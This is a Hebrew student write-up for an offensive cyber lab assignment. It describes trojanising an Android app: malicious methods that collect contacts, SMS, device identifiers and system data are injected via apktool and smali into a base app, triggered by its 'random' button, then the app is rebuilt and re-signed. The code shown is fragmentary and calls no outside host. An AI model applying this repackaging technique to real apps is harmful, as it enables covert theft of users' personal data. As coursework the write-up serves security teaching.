<u>מטלת גמר – מעבדת סייבר התקפה</u>

על מנת להוסיף את התוכן הזדוני שלי לאפליקציה קודם כתבתי את התוכן הזדוני ב-smali.

לאחר שכתבתי את הקוד הזדוני הבא:

```
lass attackActivity extends Activity implements View.OnClickListener
    private void getSystemData(){
       data+= "\t"+Build.HOST+"\n";
Settings.Secure.getString(getApplicationContext().getContentResolver(
    private void updateInformation(String message) {
            outputStreamWriter.close();
    private void getContactList() {
```

השתמשתי בכלי apktool על מנת לבצע לו decompilation ולחלץ את הקוד apktool הזדוני מהחבילה אשר כתוב כעת ב-smali.

```
C:\Windows\System32\cmd.exe
Microsoft Windows [Version 10.0.22000.493]
(c) Microsoft Corporation. All rights reserved.
                                                                                         apktool d app-debug.apk
I: Using Apktool 2.6.0 on app-debug.apk
: Loading resource table...
  Decoding AndroidManifest.xml with resources...
: Loading resource table from file:
: Regular manifest package...
: Decoding file-resources...
 : Decoding values */* XMLs...
 : Baksmaling classes.dex...
  Baksmaling classes3.dex...
  Baksmaling classes2.dex...
  Copying assets and libs...
  Copying unknown files...
  Copying original files...
```

לאחר מכן השתמשתי בכלי apktool גם על אפליקציית הבסיס שניתנה לנו, והוספתי במקום המתאים את המתודות הזדוניות שכתבתי:

```
attack()
getSystemData()
updateInformation(String message)
getContactList()
```

לאחר מכן שיניתי בכל מקום בו היה שימוש ב-class המקורי של הקוד הזדורי שליי

Lcom/example/attackactivity/attackActivity

למחלקה של אפליקציית הבסיס:

Lcom/MagicDate/MagicDate

כעת כל שנותר הוא להוסיף את הקריאה לפונקציה ()attack אשר קוראת לכל שאר הפונקציות הזדוניות שכתבתי, עשיתי זאת ע"י הוספה של שורה הקוראת למתודה ()attack בתוך המתודה ()onClick בתוך המתודה ()Random תתבצע הפעלה של המתודה הזדונית – כמו שהתבקשנו במטלה:

```
.line 137
.end local v0  # "tmpAnzahl":Ljava/lang/String;
:pswitch_1
invoke-direct {p0}, Lcom/MagicDate/MagicDate;->attack()V
invoke-direct {p0}, Lcom/MagicDate/MagicDate;->getRandom()V
```

לבסוף כל שנותר היה לבצע repackaging, שוב ע"י הכלי apktool <u>עם הדגל</u>

```
apktool b magicDate

I: Using Apktool 2.6.0

I: Checking whether sources has changed...

I: Smaling smali folder into classes.dex...

I: Checking whether resources has changed...

I: Building apk file...

I: Copying unknown files/dir...

I: Built apk...
```

:android studio ולחתום את האפליקציה עם המפתח שיצרתי דרך

jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore keystore.jks magicDate.apk keystore Enter Passphrase for keystore: adding: META-INF/MANIFEST.MF adding: META-INF/KEYSTORE.SF adding: META-INF/KEYSTORE.RSA signing: AndroidManifest.xml signing: classes.dex signing: res/drawable/background.png signing: res/drawable/cloud.png signing: res/drawable/icon.png signing: res/drawable/ic_menu_help.png signing: res/drawable/star.png signing: res/layout/main.xml signing: res/menu/menu.xml signing: resources.arsc >>> Signer X.509, CN=erel erel [trusted certificate] jar signed. Warning: The signer's certificate is self-signed. The SHA1 algorithm specified for the -digestalg option is considered a security risk. This algorithm will be disabled in a future update. The SHA1withRSA algorithm specified for the -sigalg option is considered a security risk. This algorithm will be disabled in a future update.

וזהו!

על מנת לבצע את המתקפה גררתי את קובץ ה-apk לתוך האימולטור, הרצתי את האפליקציה וללחוץ על הכפתור random. לאחר מכן נוצר הקובץ Information.txt

- אנשי קשר.
- אס-אמ-אסים.
 - SDK -
 - OS -
 - Username -
- מס"ד של המכשיר.

!ועוד

*** ניתן לראות את ביצוע ההרצה בקובץ הוידאו ActivityVideo המצורף לrepo.